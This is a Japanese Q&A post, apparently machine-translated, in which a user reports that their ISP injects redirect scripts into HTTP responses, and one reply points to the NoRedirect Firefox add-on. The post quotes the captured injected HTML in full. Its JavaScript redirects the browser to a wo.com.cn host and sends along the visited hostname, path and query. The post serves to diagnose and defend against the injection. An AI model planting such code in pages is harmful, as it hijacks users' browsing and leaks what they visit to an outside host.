0

ISP が悪意を持ってサーバーを構成していると思います。たとえば、 http: //www.somesite.org/ajax.htmなどのページにリクエストすると、受信した応答が www に属さないコードに置き換えられることがあります。 somesite.org. これはすべての HTTP リクエストで発生するわけではなく、ランダムに発生します (朝は確率が高くなる可能性があります)。HTTPS は影響を受けません。

置き換えられたコードにはリダイレクト スクリプトが含まれているため、厄介な状況が発生します。たとえば、FaceBook を下にスクロールしていて、興味深い投稿に気付き、突然すべてが消えて、ISP が提供する広告ページにブラウザーがリダイレクトされたとします。[戻る] ボタンをクリックすることはできますが、ブラウザは再び新しいページにリダイレクトされます。

典型的な悪意のある応答は次のようになります。

<html>
<script language=javascript type="text/javascript">
    window.location.replace("http://bjdnserror2.wo.com.cn:8080?HOST=" 
        + location.hostname + "&R="
        + location.pathname + "&" + location.search.substr(location.search.indexOf("\?")+1));
</script>

<noscript>
<meta   http-equiv="refresh"   content="0;URL=http://bjdnserror2.wo.com.cn:8080">
</noscript>
<head>
<title>Redirect</title>
</head>
<body bgcolor="white" text="black">
</body>
</html>

HTTPFox を使用してキャプチャされたもの: 上記のコードをキャプチャしたスクリーンショット

上記のケースはadsupport.renren.comへの応答で発生し、最終的にはbjdnserror2.wo.com.cnにリダイレクトされました。

悪意のあるコードが別のドメインから来て、ブラウザによって簡単に偽装できるXSS ハイジャックとは異なり、これらのコードは、通常の要求/応答を妨害するインターセプトから発生し、アクセスしているのと同じドメインの下に表示されます。私が思いついた解決策は、Firefox が <*.wo.com.cn> にリダイレクトする傾向のあるスクリプトを停止することです。しかし、これはアドオンによって実装されていないようです。既存のアドオン (NoScript、スクリプト マネージャー) は、すべての JavaScript または へのアクセスを単純に停止する場合がありますwindow.location。しかし、それらは通常のユーザー エクスペリエンスを台無しにしてしまいます。

4

2 に答える 2

1

Firefox には NoRedirect というアドオンがあります。使用するには「正規表現」の知識が必要です。

于 2013-03-27T11:09:36.237 に答える